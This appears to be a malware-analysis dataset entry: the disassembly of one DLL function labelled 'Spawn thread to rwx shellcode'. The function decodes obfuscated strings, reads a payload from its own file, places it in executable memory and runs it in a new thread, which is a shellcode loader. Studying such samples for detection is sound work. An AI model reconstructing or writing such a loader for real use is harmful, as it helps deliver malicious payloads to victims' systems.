Function at 0x1800033d0
Capabilities:
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2e0]
sub rsp, 0x3e0
mov rax, qword [0x18003c060]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
xor edi, edi
mov dword [rsp + 0x50], edi
mov ecx, dword [0x18003ddd4]
mov rax, qword gs:[0x58]
mov r8d, 4
mov rdx, qword [rax + rcx*8]
movabs rsi, 0x354d823106ba5d05
movabs r14, 0x27d06206259e852
mov eax, dword [r8 + rdx]
cmp dword [0x18003eae0], eax
jle 0x18000350c
lea rcx, [0x18003eae0]
call fcn.180009030
cmp dword [0x18003eae0], 0xffffffff
jne 0x18000350c
mov qword [rbp + 0xa0], rsi
mov qword [rbp + 0xa8], r14
movabs rax, 0x21d31423d8f573d7
mov qword [rbp + 0xb0], rax
movabs rdx, 0x77996ccad5c4d9fc
mov qword [rbp + 0xb8], rdx
movabs rax, 0x3523824306df5d6e
mov qword [rsp + 0x30], rax
movabs rax, 0x24f06136235e837
mov qword [rsp + 0x38], rax
movabs rax, 0x21bf144fd89173f9
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdx
movdqa xmm0, xmmword [rbp + 0xa0]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rsp + 0x40], xmm1
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x18003eaf0], rax
lea rcx, [0x18003eae0]
call fcn.180008fd0
cmp qword [0x18003eaf0], rdi
jne 0x18000351f
mov eax, 0xffffffff
jmp 0x180003a8a
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0xc0]
call fcn.18000b7f0
mov r8d, 0x104
lea rdx, [rbp + 0xc0]
mov rcx, qword [0x18003ead8]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
lea rax, [rbp + 0xc0]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180003580
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x30]
call fcn.1800063b0
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.180003150
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1800035ee
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800035e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003ac0
call fcn.180008ed0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov qword [rbp + 0xa0], rsi
mov qword [rbp + 0xa8], r14
movabs rax, 0x5b28eb5d65ca3059
mov qword [rsp + 0x60], rax
movabs rax, 0x27d0654033dc626
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0xa0]
pxor xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xb0], rdi
mov esi, 0xf
mov qword [rbp + 0xb8], rsi
mov byte [rbp + 0xa0], 0
lea rax, [rsp + 0x60]
inc rbx
cmp byte [rax + rbx], 0
jne 0x180003667
mov r8, rbx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xa0]
call fcn.180006530
nop
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
lea rcx, [rbp - 0x80]
call fcn.180006690
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1800036ee
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800036e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003ac6
call fcn.180008ed0
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x60]
call fcn.18000b7f0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.180002970
nop
mov qword [rsp + 0x30], rdi
mov r10, rdi
mov qword [rsp + 0x40], rdi
mov rbx, rsi
mov qword [rsp + 0x48], rbx
mov byte [rsp + 0x30], r10b
mov dword [rsp + 0x50], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov rcx, qword [rbp + 0x28]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x180003766
mov rax, qword [rbp - 8]
mov r8, qword [rax]
test r8, r8
je 0x180003766
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x20]
cmovb r8, qword [rbp + 0x20]
sub r8, rdx
jmp 0x18000379b
test cl, 4
jne 0x18000378d
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
test rcx, rcx
je 0x18000378d
mov rax, qword [rbp - 0x30]
mov rdx, qword [rax]
mov rax, qword [rbp + 8]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x18000379b
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0xa0]
test rdx, rdx
je 0x1800037b4
lea rcx, [rsp + 0x30]
call fcn.180006530
mov rbx, qword [rsp + 0x48]
mov r10, qword [rsp + 0x40]
mov r9d, 4
mov r8d, 0x3000
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
cmp rbx, 0x10
jb 0x180003807
lea rdx, [rbx + 1]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003802
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003ad2
call fcn.180008ed0
test r14, r14
je 0x180003a47
mov qword [rsp + 0x60], rdi
mov r13, rdi
mov qword [rsp + 0x70], rdi
mov r15, rsi
mov qword [rsp + 0x78], rsi
mov byte [rsp + 0x60], r13b
mov dword [rsp + 0x50], 9
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov rcx, qword [rbp + 0x28]
mov eax, ecx
and al, 0x22
mov r9, qword [rbp + 0x20]
mov rbx, qword [rbp + 8]
mov r10, qword [rbp - 0x10]
mov r12, qword [rbp - 0x28]
mov rdi, qword [rbp - 0x30]
mov r11, qword [rbp - 8]
cmp al, 2
je 0x180003878
mov r8, qword [r11]
test r8, r8
je 0x180003878
mov rdx, qword [r12]
cmp r8, r9
cmovb r8, r9
sub r8, rdx
jmp 0x1800038a1
test cl, 4
jne 0x180003893
mov rax, qword [r10]
test rax, rax
je 0x180003893
mov rdx, qword [rdi]
movsxd r8, dword [rbx]
sub r8, rdx
add r8, rax
jmp 0x1800038a1
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0xa0]
test rdx, rdx
je 0x1800038d6
lea rcx, [rsp + 0x60]
call fcn.180006530
mov rcx, qword [rbp + 0x28]
mov r9, qword [rbp + 0x20]
mov rbx, qword [rbp + 8]
mov r11, qword [rbp - 8]
mov r10, qword [rbp - 0x10]
mov r12, qword [rbp - 0x28]
mov rdi, qword [rbp - 0x30]
mov r15, qword [rsp + 0x78]
mov r13, qword [rsp + 0x70]
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rsi
mov byte [rsp + 0x30], al
mov dword [rsp + 0x50], 0x25
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x18000391d
mov r8, qword [r11]
test r8, r8
je 0x18000391d
mov rdx, qword [r12]
cmp r8, r9
cmovb r8, r9
sub r8, rdx
jmp 0x180003946
test cl, 4
jne 0x180003938
mov rax, qword [r10]
test rax, rax
je 0x180003938
mov rdx, qword [rdi]
movsxd r8, dword [rbx]
sub r8, rdx
add r8, rax
jmp 0x180003946
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0xa0]
test rdx, rdx
je 0x18000395a
lea rcx, [rsp + 0x30]
call fcn.180006530
mov rsi, qword [rsp + 0x48]
lea rdx, [rsp + 0x30]
cmp rsi, 0x10
setae bl
mov rdi, qword [rsp + 0x30]
cmovae rdx, rdi
mov r8, r13
mov rcx, r14
call fcn.18000b0c0
test bl, bl
je 0x1800039b0
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1800039a7
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003acc
mov rcx, rdi
call fcn.180008ed0
nop
cmp r15, 0x10
jb 0x1800039e9
lea rdx, [r15 + 1]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800039e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003ad2
call fcn.180008ed0
mov eax, dword [r14]
cmp eax, 0xa
jb 0x180003a47
mov edi, eax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x180003a47
lea rdx, [r14 + 4]
mov r8d, edi
mov rcx, rax
call fcn.18000b0c0
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
mov r9, r14
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp - 0x60]
call fcn.180002f50
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x180003a88
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003a83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003aba
call fcn.180008ed0
xor eax, eax
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.180008eb0
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1800112b8
nop
call fcn.1800112b8
nop
call fcn.1800112b8
nop
call fcn.1800112b8
nop
call fcn.1800112b8
int3
jmp 0x1800033d0